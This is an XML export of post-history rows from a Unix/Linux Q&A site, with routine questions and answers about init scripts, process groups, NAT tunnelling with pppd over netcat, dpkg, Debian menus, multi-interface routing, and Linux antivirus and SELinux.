  <row Id="9176" PostHistoryTypeId="2" PostId="4224" RevisionGUID="c850ce38-cd65-4be8-ad5d-e2694ca10ec7" CreationDate="2010-11-20T18:47:39.710" UserId="2180" Text="The most complete is by far MS Office in a virtual machine: this is what I do.&#xD;&#xA;&#xD;&#xA;If you will again be distributing those files you edited, it's pretty much necessary to use MS Office, because anything else can have unpredictable effects on the document.&#xD;&#xA;&#xD;&#xA;If it is for your own use, OpenOffice (or LibreOffice or Go-oo, etc) is just about as good as MS Office and is the most feature-rich.&#xD;&#xA;&#xD;&#xA;If you are in a KDE environment and the OO.o-derived products feel awkward or clumsy, then KOffice is an excellent alternative, although I find the .doc compatability less-suitable.&#xD;&#xA;&#xD;&#xA;If you require a minimal install size, Abiword is quite good. The online suites (Google Docs, Office Web Apps) are pretty good as well." />
  <row Id="9177" PostHistoryTypeId="2" PostId="4225" RevisionGUID="a002e95b-54cf-416b-ae5a-c004f25edfd0" CreationDate="2010-11-20T21:02:39.223" UserId="1779" Text="UNIX has separate concepts &quot;process&quot;, &quot;process group&quot;, and &quot;session&quot;.&#xD;&#xA;&#xD;&#xA;Each shell you get at login becomes the leader of its own new session and process group, and sets the controlling process group of the terminal to itself.&#xD;&#xA;&#xD;&#xA;The shell creates a process group within the current session for each &quot;job&quot; it launches, and places each process it starts into the appropriate process group.  For example, `ls | head` is a pipeline of two processes, which the shell considers a single job, and will belong to a single, new process group.&#xD;&#xA;&#xD;&#xA;A process is a (collection of) thread of execution and other context, such as address space and file descriptor table.  A process may start other processes; these new processes will belong to the same process group as the parent unless other action is taken.  Each process may also have a &quot;controlling terminal&quot;, which starts off the same as its parent.&#xD;&#xA;&#xD;&#xA;The shell has the concept of &quot;foreground&quot; jobs and &quot;background&quot; jobs.  Foreground jobs are process groups with control of the terminal, and background jobs are process groups without control of the terminal.&#xD;&#xA;&#xD;&#xA;Each terminal has a foreground process group.  When bringing a job to the foreground, the shell sets it as the terminal's foreground process group; when putting a job to the background, the shell sets the terminal's foreground process group to another process group or itself.&#xD;&#xA;&#xD;&#xA;Processes may read from and write to their controlling terminal if they are in the foreground process group.  Otherwise they receive `SIGTTIN` and `SIGTTOU` signals on attempts to read from and write to the terminal respectively.  By default these signals suspend the process, although most shells mask `SIGTTOU` so that a background job can write to the terminal uninterrupted." />
  <row Id="9178" PostHistoryTypeId="6" PostId="4219" RevisionGUID="c18484ca-7a75-45e9-9fba-e7bfb5dd6c39" CreationDate="2010-11-20T22:25:29.823" UserId="885" Comment="edited tags" Text="ébashàéautocompleteà" />
  <row Id="9179" PostHistoryTypeId="6" PostId="4219" RevisionGUID="3a74691d-a18e-42fd-bbb4-3b38756770e6" CreationDate="2010-11-20T22:27:31.227" UserId="885" Comment="edited tags" Text="ébashàéaliasàéautocompleteà" />
  <row Id="9180" PostHistoryTypeId="6" PostId="4221" RevisionGUID="518765c6-6e9c-4985-a701-745a1ba154b2" CreationDate="2010-11-20T22:47:31.343" UserId="885" Comment="edited tags" Text="ésoftwareörecàéwordöprocessingà" />
  <row Id="9181" PostHistoryTypeId="2" PostId="4226" RevisionGUID="daac3263-c45a-4c4c-a144-9fcc2d929925" CreationDate="2010-11-21T01:40:59.970" UserId="663" Text="I had to write my own CentOS init.d script for [celery][1] because it only ships with one for Debian. You can see the script I wrote when I answered my own stack overflow question [3989656][2].&#xD;&#xA;&#xD;&#xA;But there's a problem with this script. if I invoke it:&#xD;&#xA;&#xD;&#xA;    sudo service celeryd start&#xD;&#xA;&#xD;&#xA;then I need to hit enter to get a shell prompt after it completes. This is a problem because  I want to invoke it via ssh from another machine by doing:&#xD;&#xA;&#xD;&#xA;    ssh 192.168.2.3 sudo service celeryd start&#xD;&#xA;&#xD;&#xA;and ssh never returns. (I use [fabric][3] to start and stop remote services, and this hangs it because it invokes the ssh command above).&#xD;&#xA;&#xD;&#xA;What would cause this behavior, and how do I fix it in my script?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ask.github.com/celery/index.html&#xD;&#xA;  [2]: http://stackoverflow.com/questions/3989656/init-d-celery-script-for-centos&#xD;&#xA;  [3]: http://docs.fabfile.org/0.9.3/" />
  <row Id="9182" PostHistoryTypeId="1" PostId="4226" RevisionGUID="daac3263-c45a-4c4c-a144-9fcc2d929925" CreationDate="2010-11-21T01:40:59.970" UserId="663" Text="Why do I need to hit enter to get my shell prompt after my init.d script completes?" />
  <row Id="9183" PostHistoryTypeId="3" PostId="4226" RevisionGUID="daac3263-c45a-4c4c-a144-9fcc2d929925" CreationDate="2010-11-21T01:40:59.970" UserId="663" Text="ésshàéshellöscriptàéinitöscriptà" />
  <row Id="9184" PostHistoryTypeId="6" PostId="4226" RevisionGUID="ca313b95-edeb-413f-b6ce-71619f8fa94a" CreationDate="2010-11-21T01:52:50.550" UserId="663" Comment="edited tags" Text="ésshàécentosàéshellöscriptàéinitöscriptà" />
  <row Id="9185" PostHistoryTypeId="2" PostId="4227" RevisionGUID="8c72f162-72fb-4ded-89ec-d28be77dfdf9" CreationDate="2010-11-21T02:11:25.800" UserId="1026" Text="Hello.. &#xD;&#xA;&#xD;&#xA;Sbopkg used to work on my computer untill the network admin started to make a compulsory for the user to use proxy before connecting to the Internet. So, when I tried to sync to slackbuilds, I'm getting these errors:&#xD;&#xA;&#xD;&#xA;    root@meh:~# sbopkg -r&#xD;&#xA;    Syncing with the remote repository into /var/lib/sbopkg/SBo/13.1.&#xD;&#xA;    rsync: failed to connect to slackbuilds.org: Connection timed out (110)&#xD;&#xA;    rsync error: error in socket IO (code 10) at clientserver.c(122) [Receiver=3.0.7]&#xD;&#xA;    &#xD;&#xA;    Rsync reported a socket error which may be due to&#xD;&#xA;    a problem with the LINK value in sbopkg.conf.&#xD;&#xA;    (The repo's LINK is currently set to: slackbuilds.org::slackbuilds/13.1).&#xD;&#xA;    Please check your settings and try again later.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9186" PostHistoryTypeId="1" PostId="4227" RevisionGUID="8c72f162-72fb-4ded-89ec-d28be77dfdf9" CreationDate="2010-11-21T02:11:25.800" UserId="1026" Text="sbopkg is not working with proxy" />
  <row Id="9187" PostHistoryTypeId="3" PostId="4227" RevisionGUID="8c72f162-72fb-4ded-89ec-d28be77dfdf9" CreationDate="2010-11-21T02:11:25.800" UserId="1026" Text="érsyncàéslackwareà" />
  <row Id="9188" PostHistoryTypeId="2" PostId="4228" RevisionGUID="8e3bdb22-1e61-440a-85f4-11b0a10b6e54" CreationDate="2010-11-21T11:39:30.263" UserId="2641" Text="You might want to figure out what exactly eats that return, by first running the /etc/init.d script directly with (sudo as required) `sh -x /etc/init.d/celeryd start`. If it is in the shell script, you should see it this way. If `daemon` itself is waiting for a newline before returning, your answer will be celeryd specific and might benefit from running it through `strace` or simply with a `&lt; /dev/null` appended so that it doesn't have access to standard input through your terminal.&#xD;&#xA;&#xD;&#xA;Another &quot;grope in the dark&quot; thing to try: run `ssh` with the `-nt` option to disable terminal allocation and standard input." />
  <row Id="9189" PostHistoryTypeId="2" PostId="4229" RevisionGUID="e9741f61-21ef-443c-a1e5-b14dc8960258" CreationDate="2010-11-21T12:00:33.333" UserId="1192" Text="Use OpenOffice and recommend the ODF format. For sending, just export to PDF.&#xD;&#xA;Regards" />
  <row Id="9190" PostHistoryTypeId="2" PostId="4230" RevisionGUID="27691ee8-ccea-4538-81c3-1f6ad520c19c" CreationDate="2010-11-21T12:19:47.810" UserId="2180" Text="You might actually have a shell prompt and not realize it. If you have a program that writes to the terminal while in the background, your prompt gets covered up, but it's still ready for input.&#xD;&#xA;&#xD;&#xA;test.sh:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    echo -e &quot;This is a test\n\n&quot;&#xD;&#xA;&#xD;&#xA;interactive shell:&#xD;&#xA;&#xD;&#xA;    $sh test.sh &amp;&#xD;&#xA;    $This is a test&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    _&#xD;&#xA;&#xD;&#xA;In this example, the prompt is there. You see the &quot;$&quot; right before &quot;This is a test&quot; that is the prompt. At the bottom you can see the cursor waiting for input. If you type a command here and press enter, it will work as usual. Try running `ls` after starting your daemon but before pressing `&lt;enter&gt;`." />
  <row Id="9191" PostHistoryTypeId="2" PostId="4231" RevisionGUID="cb4bb216-3371-44c7-b707-aec2a2f2ddc3" CreationDate="2010-11-21T13:02:36.523" UserId="2180" Text="I have a router that provides internet connection to a single client device via a wireless cellular data network. This network provides non-public IP addresses which gets natted. I would like to get a static IP address outside of the network that will route everything back to the device on the cell network.&#xD;&#xA;&#xD;&#xA;Because this is an embedded device, space is limited (about 500kB to work with here). Because the network is expensive, it has to not consume too much traffic.&#xD;&#xA;&#xD;&#xA;First I tried creating an IPIP tunnel using iproute2. From the server, I used the router's egress IP for the remote IP, not the private address the router received. I hoped that once the router communicated over the tunnel to the server, the server could communicate back. This was not the case.&#xD;&#xA;&#xD;&#xA;I tried dropbear SSH and found it won't do a generic tunnel, but I thought I could probably get around that using iptables. However, it seems that just having the ssh link open consumes about 200 bytes/sec.&#xD;&#xA;&#xD;&#xA;I also tried nc, but the communication is only one direction, so I can initiate a connection to the server, but can't get anything back.&#xD;&#xA;&#xD;&#xA;OpenSSH and OpenVPN are too big to fit on the device (both around 1MB).&#xD;&#xA;&#xD;&#xA;My next attempt will probably be to write a program that keeps a persistent socket open to the server, and to use iptables to route the traffic to that program. I wanted to see if there were any other ideas first.&#xD;&#xA;&#xD;&#xA;So, any ideas?" />
  <row Id="9192" PostHistoryTypeId="1" PostId="4231" RevisionGUID="cb4bb216-3371-44c7-b707-aec2a2f2ddc3" CreationDate="2010-11-21T13:02:36.523" UserId="2180" Text="Tunnel through a NAT" />
  <row Id="9193" PostHistoryTypeId="3" PostId="4231" RevisionGUID="cb4bb216-3371-44c7-b707-aec2a2f2ddc3" CreationDate="2010-11-21T13:02:36.523" UserId="2180" Text="énetworkingàéembeddedàéprivateönetworkà" />
  <row Id="9194" PostHistoryTypeId="5" PostId="4231" RevisionGUID="6b997d19-d661-4242-b626-89b95e56e722" CreationDate="2010-11-21T13:10:33.433" UserId="2180" Comment="looked up and corrected statistic" Text="I have a router that provides internet connection to a single client device via a wireless cellular data network. This network provides non-public IP addresses which gets natted. I would like to get a static IP address outside of the network that will route everything back to the device on the cell network.&#xD;&#xA;&#xD;&#xA;Because this is an embedded device, space is limited (about 500kB to work with here). Because the network is expensive, it has to not consume too much traffic.&#xD;&#xA;&#xD;&#xA;First I tried creating an IPIP tunnel using iproute2. From the server, I used the router's egress IP for the remote IP, not the private address the router received. I hoped that once the router communicated over the tunnel to the server, the server could communicate back. This was not the case.&#xD;&#xA;&#xD;&#xA;I tried dropbear SSH and found it won't do a generic tunnel, but I thought I could probably get around that using iptables. However, it seems that just having the ssh link open consumes about 150 bytes/sec.&#xD;&#xA;&#xD;&#xA;I also tried nc, but the communication is only one direction, so I can initiate a connection to the server, but can't get anything back.&#xD;&#xA;&#xD;&#xA;OpenSSH and OpenVPN are too big to fit on the device (both around 1MB).&#xD;&#xA;&#xD;&#xA;My next attempt will probably be to write a program that keeps a persistent socket open to the server, and to use iptables to route the traffic to that program. I wanted to see if there were any other ideas first.&#xD;&#xA;&#xD;&#xA;So, any ideas?" />
  <row Id="9195" PostHistoryTypeId="6" PostId="4227" RevisionGUID="ccb36fab-8ab1-42e1-b763-7a8da1d5e648" CreationDate="2010-11-21T13:16:39.200" UserId="885" Comment="edited tags" Text="érsyncàéproxyàéslackwareàéslackbuildsà" />
  <row Id="9196" PostHistoryTypeId="5" PostId="4223" RevisionGUID="ffcdaf69-8a63-472c-9521-301518737782" CreationDate="2010-11-21T13:36:11.140" UserId="250" Comment="typo" Text="If its a company server then yes you should have anti-virus on it.  If you don't and it gets infected, you will either get your balls kicked, or get fired.  Neither is good.&#xD;&#xA;&#xD;&#xA;At home, you can take more of a chance.  however, if you have windows machines, the Linux samba shares can act as safe haven for the virus and can keep reinfecting your windows machines.&#xD;&#xA;&#xD;&#xA;Whilst it's quite rare to catch a linux virus or worm, but they do appear from time to time. Having a SSH port available to the internet is a major well known risk, there may well be other common attack methods for linux home servers." />
  <row Id="9197" PostHistoryTypeId="2" PostId="4232" RevisionGUID="d595caf9-25bd-44f6-9dc3-dca6ee6d0f55" CreationDate="2010-11-21T13:47:28.170" UserId="2516" Text="Hi,&#xD;&#xA;in my Debian stable, when I execute:&#xD;&#xA;&#xD;&#xA;`startx`&#xD;&#xA;&#xD;&#xA;as normal user the Xorg server begin to work, but after some second I recive in console this error:&#xD;&#xA;&#xD;&#xA;&gt;FreeFontPath: FPE &quot;/usr/share/fonts/X11/misc&quot; refcount is 2, should be 1; fixing.&#xD;&#xA;&#xD;&#xA;(I cut the stacktrace :))&#xD;&#xA;&#xD;&#xA;When I execute Xorg as root, I haven't got this error!&#xD;&#xA;&#xD;&#xA;I tried to:&#xD;&#xA;&#xD;&#xA;1. change permission in same file -&gt;useless;&#xD;&#xA;2. reinstall XOrg --&gt;useless&#xD;&#xA;3. file config not existing? -&gt; what?&#xD;&#xA;&#xD;&#xA;I have see the doc in the Net but I found the root of the problem: for you, what's (better, what can be) the problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9198" PostHistoryTypeId="1" PostId="4232" RevisionGUID="d595caf9-25bd-44f6-9dc3-dca6ee6d0f55" CreationDate="2010-11-21T13:47:28.170" UserId="2516" Text="Xorg partially working for a font error" />
  <row Id="9199" PostHistoryTypeId="3" PostId="4232" RevisionGUID="d595caf9-25bd-44f6-9dc3-dca6ee6d0f55" CreationDate="2010-11-21T13:47:28.170" UserId="2516" Text="éxorgàédebianà" />
  <row Id="9200" PostHistoryTypeId="2" PostId="4233" RevisionGUID="45fb5922-cffe-4868-aa9c-88abcd9ba062" CreationDate="2010-11-21T14:45:02.497" UserId="2557" Text="Office 2007 runs quite well with wine. Running a entire virtual machine just for office might be a overkill. " />
  <row Id="9201" PostHistoryTypeId="2" PostId="4234" RevisionGUID="3d156402-8ca6-4705-9179-b5e1d4e137fd" CreationDate="2010-11-21T15:43:30.287" UserId="1389" Text="Obviously, this question is specific to Debian-based setups.&#xD;&#xA;&#xD;&#xA;I find that, often, packages I install using aptitude or apt-get only *say* that a menu item has been created. No menu item actually appears. Obviously, I can create one myself, but that requires knowing what the binary was actually called (in many cases different from the package name). There must be a simple way to know which directories things have been installed in.&#xD;&#xA;&#xD;&#xA;So,&#xD;&#xA;&#xD;&#xA;1) Does anyone know why the creation of menu entries fails?&#xD;&#xA;&#xD;&#xA;2) How can I get info about where the binaries reside/what they're called, in order to create my own menu entry?" />
  <row Id="9202" PostHistoryTypeId="1" PostId="4234" RevisionGUID="3d156402-8ca6-4705-9179-b5e1d4e137fd" CreationDate="2010-11-21T15:43:30.287" UserId="1389" Text="What can I do when apt-get/aptitude doesn't create a menu item for an installed program?" />
  <row Id="9203" PostHistoryTypeId="3" PostId="4234" RevisionGUID="3d156402-8ca6-4705-9179-b5e1d4e137fd" CreationDate="2010-11-21T15:43:30.287" UserId="1389" Text="égnomeàéguiàéaptögetàéaptitudeà" />
  <row Id="9204" PostHistoryTypeId="2" PostId="4235" RevisionGUID="fd68c3fa-4164-4a1a-815a-7ab3e873b36c" CreationDate="2010-11-21T15:53:45.597" UserId="2179" Text="You can use:&#xD;&#xA;&#xD;&#xA;    dpkg -L package-name-goes-here&#xD;&#xA;&#xD;&#xA;...to have a list of files that have been installed. If you just want executable files:&#xD;&#xA;&#xD;&#xA;    for file in `dpkg -L package-name-goes-here`&#xD;&#xA;    do&#xD;&#xA;      if [ -x $file -a ! -d $file ]&#xD;&#xA;      then&#xD;&#xA;        echo $file&#xD;&#xA;      fi&#xD;&#xA;    done" />
  <row Id="9205" PostHistoryTypeId="5" PostId="4235" RevisionGUID="f8e50f2f-8eed-4ac0-ac97-32985ef83ee0" CreationDate="2010-11-21T15:59:40.163" UserId="2179" Comment="added 24 characters in body" Text="You can use:&#xD;&#xA;&#xD;&#xA;    dpkg -L package-name-goes-here&#xD;&#xA;&#xD;&#xA;...to have a list of files that have been installed by the specific package. If you just want executable files:&#xD;&#xA;&#xD;&#xA;    for file in `dpkg -L package-name-goes-here`&#xD;&#xA;    do&#xD;&#xA;      if [ -x $file -a ! -d $file ]&#xD;&#xA;      then&#xD;&#xA;        echo $file&#xD;&#xA;      fi&#xD;&#xA;    done" />
  <row Id="9206" PostHistoryTypeId="5" PostId="4235" RevisionGUID="19f1867e-2402-4e85-909c-82e6577ed90b" CreationDate="2010-11-21T16:05:04.293" UserId="2179" Comment="added 157 characters in body" Text="You can use:&#xD;&#xA;&#xD;&#xA;    dpkg -L package-name-goes-here&#xD;&#xA;&#xD;&#xA;...to have a list of files that have been installed by the specific package. If you just want executable files:&#xD;&#xA;&#xD;&#xA;    for file in `dpkg -L package-name-goes-here`&#xD;&#xA;    do&#xD;&#xA;      if [ -x $file -a ! -d $file ]&#xD;&#xA;      then&#xD;&#xA;        echo $file&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Here's [a naively, hastily written script][1] that does the above. Usage: `exec-files-from-package [package]`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/708848" />
  <row Id="9207" PostHistoryTypeId="5" PostId="4235" RevisionGUID="648cf37c-3b86-46de-8a0d-112bc4e7e8cc" CreationDate="2010-11-21T16:31:02.460" UserId="2179" Comment="added 43 characters in body" Text="You can use:&#xD;&#xA;&#xD;&#xA;    dpkg -L package-name-goes-here&#xD;&#xA;&#xD;&#xA;...to have a list of files that have been installed by the specific package. If you just want executable files:&#xD;&#xA;&#xD;&#xA;    for file in `dpkg -L package-name-goes-here`&#xD;&#xA;    do&#xD;&#xA;      if [ -x $file -a ! -d $file ] # must be executable, but not a directory.&#xD;&#xA;      then&#xD;&#xA;        echo $file&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Here's [a naively, hastily written script][1] that does the above. Usage: `exec-files-from-package [package]`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/708848" />
  <row Id="9208" PostHistoryTypeId="2" PostId="4236" RevisionGUID="6ff289ce-ee9e-4a0b-84ed-37fa0ebc6ed9" CreationDate="2010-11-21T16:43:36.183" UserId="885" Text="If you see a message telling you that a menu entry has been created, it means the package has dropped a file into `/usr/share/menu` describing one or more menu entry, as per the [Debian menu policy](http://www.debian.org/doc/packaging-manuals/menu-policy/). The [documentation of the menu system](https://alioth.debian.org/docman/view.php/30046/2/menu-one-file.html) (also available in `/usr/share/doc/menu`) explains the syntax of this file. Each window manager is supposed to include the system menu. Gnome doesn't do the standard thing, though (so what else is new).&#xD;&#xA;&#xD;&#xA;Gnome and KDE show a menu constructed from entries in `/usr/share/applications/*.desktop` and `/usr/share/applnk/**/*.desktop`, following the [Freedesktop menu specification](http://standards.freedesktop.org/menu-spec/latest/). Not all packages provide those. You can create a `.desktop` file based on the Debian entries and put it in `~/.config/menus/`.&#xD;&#xA;" />
  <row Id="9209" PostHistoryTypeId="6" PostId="4234" RevisionGUID="0c05cd7c-b57d-4dd8-91d2-85c05dda4a11" CreationDate="2010-11-21T16:44:34.763" UserId="885" Comment="edited tags" Text="égnomeàédebianàédesktopöenvironmentàémenuà" />
  <row Id="9210" PostHistoryTypeId="2" PostId="4237" RevisionGUID="839b5e28-803e-4740-83cd-85b40b37160f" CreationDate="2010-11-21T17:16:18.897" UserId="146" Text="No one ever found the cause of this error, nor any actual problems caused by it, so it was resolved in later Xorg releases by simply [removing the printing of the message][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cgit.freedesktop.org/xorg/xserver/commit/?id=9113fa3de36e84bbae2727cace82b1cf0d709a86" />
  <row Id="9211" PostHistoryTypeId="5" PostId="4232" RevisionGUID="ef43b85c-a772-4af5-be73-47e3ef128be7" CreationDate="2010-11-21T18:04:11.933" UserId="2516" Comment="correct link to log :)" Text="Hi,&#xD;&#xA;in my Debian stable, when I execute:&#xD;&#xA;&#xD;&#xA;`startx`&#xD;&#xA;&#xD;&#xA;as normal user the Xorg server begin to work, but after some second I recive in console this error:&#xD;&#xA;&#xD;&#xA;&gt;FreeFontPath: FPE &quot;/usr/share/fonts/X11/misc&quot; refcount is 2, should be 1; fixing.&#xD;&#xA;&#xD;&#xA;(I cut the stacktrace :))&#xD;&#xA;&#xD;&#xA;When I execute Xorg as root, I haven't got this error!&#xD;&#xA;&#xD;&#xA;I tried to:&#xD;&#xA;&#xD;&#xA;1. change permission in same file -&gt;useless;&#xD;&#xA;2. reinstall XOrg --&gt;useless&#xD;&#xA;3. file config not existing? -&gt; what?&#xD;&#xA;&#xD;&#xA;I have see the doc in the Net but I found the root of the problem: for you, what's (better, what can be) the problem?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;my /var/log/log.0 ---&gt; http://pastebin.ca/1998075&#xD;&#xA;" />
  <row Id="9214" PostHistoryTypeId="2" PostId="4239" RevisionGUID="15284445-52c6-48d6-ac9e-c8eb94cc6ee4" CreationDate="2010-11-21T18:17:20.467" UserId="2641" Text="The only NAT that an IPIP tunnel might work with is one-to-one NAT, which is clearly not what you have in the cellular case.&#xD;&#xA;&#xD;&#xA;This &quot;150 bytes/second for an open SSH connection&quot; business is very strange and you should investigate. No such thing happens for me with OpenSSH -&gt; OpenSSH sessions (there's the unavoidable keepalives, but you actually WANT those when you're behind a NAT) and there's no reason it should unless you're actually passing traffic.&#xD;&#xA;&#xD;&#xA;You are mistaken about netcat being unidirectional, a TCP session initiated with netcat works both ways. &#xD;&#xA;&#xD;&#xA;I would suggest getting a bidirectional stream up any way you can (probably netcat and a TCP listener on the server) and running PPP over that. You get all the [usual disadvantages][1] of running IP over TCP, but it's better than not having connectivity at all.&#xD;&#xA;&#xD;&#xA;Here's what works for me in a quick test - on the server:&#xD;&#xA;&#xD;&#xA;`server:~$ sudo pppd noauth passive pty &quot;nc -lp 9999&quot; debug nodetach`&#xD;&#xA;&#xD;&#xA;On the client:&#xD;&#xA;&#xD;&#xA;`client:~$ sudo pppd noauth pty &quot;nc server 9999&quot; debug nodetach`&#xD;&#xA;&#xD;&#xA;I think having dialup semantics also provides a useful model for the cases where your cell device will simply not be reachable. &#xD;&#xA;&#xD;&#xA;After you have the IP connection running, you can consider playing IPIP or 1:1 NAT.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sites.inka.de/bigred/devel/tcp-tcp.html" />
  <row Id="9215" PostHistoryTypeId="2" PostId="4240" RevisionGUID="e11817d7-d4c7-43f9-adb0-1648c41e05ee" CreationDate="2010-11-21T18:22:11.630" UserId="2641" Text="The rsync docs suggest:&#xD;&#xA;&#xD;&#xA;&gt; You may establish the connection via a web proxy by setting the environment variable &#xD;&#xA;&gt; RSYNC_PROXY to a hostname:port pair pointing to your web proxy. Note that your web proxy's &#xD;&#xA;&gt; configuration must allow proxying to port 873.&#xD;&#xA;&#xD;&#xA;Have you tried that? " />
  <row Id="9216" PostHistoryTypeId="2" PostId="4241" RevisionGUID="030e25da-ac1f-416d-a172-2be35d5bad84" CreationDate="2010-11-21T19:18:47.200" UserId="1192" Text="I suggest a virus scanner (clamav) on server machines. You could run one also on desktop linux to stop spreading infections.&#xD;&#xA;" />
  <row Id="9217" PostHistoryTypeId="2" PostId="4242" RevisionGUID="3ec13cf3-682e-4fc2-94db-08131d813aac" CreationDate="2010-11-21T20:00:27.140" UserId="2750" Text="I have a usb cellular modem and a Home LAN connection on my Ubuntu 10.10 box.&#xD;&#xA;&#xD;&#xA;Both work independently.&#xD;&#xA;&#xD;&#xA;I want to know how to have both connected at the same time, and be able to specify which application uses which device to connect to the internet.&#xD;&#xA;&#xD;&#xA;Does anyone know how to do this?&#xD;&#xA;" />
  <row Id="9218" PostHistoryTypeId="1" PostId="4242" RevisionGUID="3ec13cf3-682e-4fc2-94db-08131d813aac" CreationDate="2010-11-21T20:00:27.140" UserId="2750" Text="Dual network connection" />
  <row Id="9219" PostHistoryTypeId="3" PostId="4242" RevisionGUID="3ec13cf3-682e-4fc2-94db-08131d813aac" CreationDate="2010-11-21T20:00:27.140" UserId="2750" Text="énetworkingà" />
  <row Id="9220" PostHistoryTypeId="5" PostId="3895" RevisionGUID="9e9f1235-c9ad-4542-818f-f9a6359d6824" CreationDate="2010-11-21T20:33:09.827" UserId="688" Comment="clarity" Text="[Debian GNU/Linux device driver check page][1] tells you what hardware on your system is supported by the kernel, and by which versions.&#xD;&#xA;&#xD;&#xA;  [1]: http://kmuto.jp/debian/hcl/" />
  <row Id="9221" PostHistoryTypeId="2" PostId="4243" RevisionGUID="3e67bb0d-b2a9-41c3-a094-35aeb010eaab" CreationDate="2010-11-21T21:11:39.667" UserId="885" Text="There are several possibilities, depending on how you want to decide what packets go where. Most of them will require some understanding of how TCP/IP networking works in Linux. The main tools you'll have to know to do complex things are [`iptables`](http://www.netfilter.org/projects/iptables/index.html) (Ubuntu: [iptables](http://packages.ubuntu.com/iptables) [![Install iptables](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iptables)) and [iproute2 (`ip` command)](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2) (Ubuntu: [iproute](http://packages.ubuntu.com/iproute) [![Install iproute](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute), [iproute-doc](http://packages.ubuntu.com/iproute-doc) [![Install iproute-doc](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute-doc)).&#xD;&#xA;&#xD;&#xA;If you can discriminate fully by target IP address, it's simple: route the IP addresses according to your wishes. For example, the following commands will cause all packets for 1.2.3.*x* and 1.2.4.2 to go via `ppp0`, and other packets to go via `eth0`.&#xD;&#xA;&#xD;&#xA;    route add -net 1.2.3.4/24 ppp0&#xD;&#xA;    route add -host 1.2.4.2 ppp0&#xD;&#xA;    route add -net 0.0.0.0/0 eth0&#xD;&#xA;&#xD;&#xA;For more complex requirements, you need to start using `iptables` and `ip route`. For example, the following commands set up special routing tables so that all packets marked 1 go out via `eth0` and all packets marked 2 go out via `ppp0` (except that packets intended for `localhost` stick to the loopback interface).&#xD;&#xA;&#xD;&#xA;    ip rule add fwmark 1 table 1&#xD;&#xA;    ip route add 127.0.0.0/0 table 1 dev lo&#xD;&#xA;    ip route add 0.0.0.0/0 table 1 dev eth0&#xD;&#xA;    ip rule add fwmark 2 table 2&#xD;&#xA;    ip route add 127.0.0.0/8 table 2 dev lo&#xD;&#xA;    ip route add 0.0.0.0/0 table 2 dev ppp0&#xD;&#xA;&#xD;&#xA;Now you can use `iptables` to “mangle” outgoing packets, adding a mark that will decide what route they take. For example, here's how to send all outgoing SMTP traffic (port 25) via `eth0`, and all traffic originated by an application running as the user `proxy` via `ppp0`.&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -A OUTPUT -p tcp --dport 25 -j MARK --set-mark 1&#xD;&#xA;    iptables -t mangle -A OUTPUT -m owner --uid-owner proxy -j MARK --set-mark 2&#xD;&#xA;&#xD;&#xA;See also [2 network interfaces connected to internet. Choose the one to use according to the domain name](http://askubuntu.com/q/4988/1059) and [http://askubuntu.com/q/4872/1059](bind software to different network interfaces).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;You'll need to arrange for these commands to run when both interfaces are connected. I recommend that you write a script called `/etc/network/if-up.d/0justin-routes` that runs the commands you want. This script will be executed whenever a network interface is brought up; as its name begins with a `0` it will run early in that process, before application-specific setup that might expect the routes to be in place. There is a symmetric `/etc/network/if-down.d/` in case you also want to do things when one of the interfaces comes down. (All associated routes will automatically be erased, which may leave some packets stranded when you'd like them to fall back to the other interface.)&#xD;&#xA;&#xD;&#xA;The ifup scripts are documented in the [`interfaces(5) man page`](http://manpages.ubuntu.com/manpages/maverick/en/man5/interfaces.5.html). The main thing to know is that the name of the interface being brought up or down is in the environement variable `IFACE`. You can find out whether the other interface is already up with `if ifconfig | sed 's/ .*//' | grep -Fqx 'eth0'; then …`.&#xD;&#xA;" />
  <row Id="9222" PostHistoryTypeId="6" PostId="4242" RevisionGUID="2c9293ee-0780-406d-b841-7d290b8a271a" CreationDate="2010-11-21T21:13:20.167" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéiptablesàéroutingà" />
  <row Id="9223" PostHistoryTypeId="2" PostId="4244" RevisionGUID="0d8edfd3-354d-4f25-a844-fd9d5c947277" CreationDate="2010-11-21T22:02:26.547" UserId="1192" Text="SELinux and AppArmor exist for prevention of trojan / rootkit and other infections. I tell the case for SELinux, which I know better.&#xD;&#xA;With SELinux enabled, you give a context to all the process (daemon included) you install on the machine. You also label the file system to work with the context, matching them.&#xD;&#xA;When a process tries to do something not within its context, you receive a message, and, if SELinux is in enforcing mode, the action cannot complete.&lt;br&gt;&#xD;&#xA;This way, if your ircd trojan was willing to overwrite the ps command or something else (common strategy for trojans / rootkits / worms to avoid detection), i would not be allowed to do that. And you would be informed.&lt;br&gt;&#xD;&#xA;I knkow it's difficult to configure, but my machines are working with SELinux enforced right now, and my (two) Fedora laptops can do anything a desktop needs without too much hassle.&lt;br&gt;&#xD;&#xA;Even my home server is now in enforcing mode.&lt;br&gt;&#xD;&#xA;Another strategy is a regular run of rootkit detectors which calculate a checksum for the cirtical commands, and inform you regarding changes in the basic commands.&lt;br&gt;&#xD;&#xA;I work with both the SELinux and the rkhunter enabled (plus a clamav antivirus).&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;" />
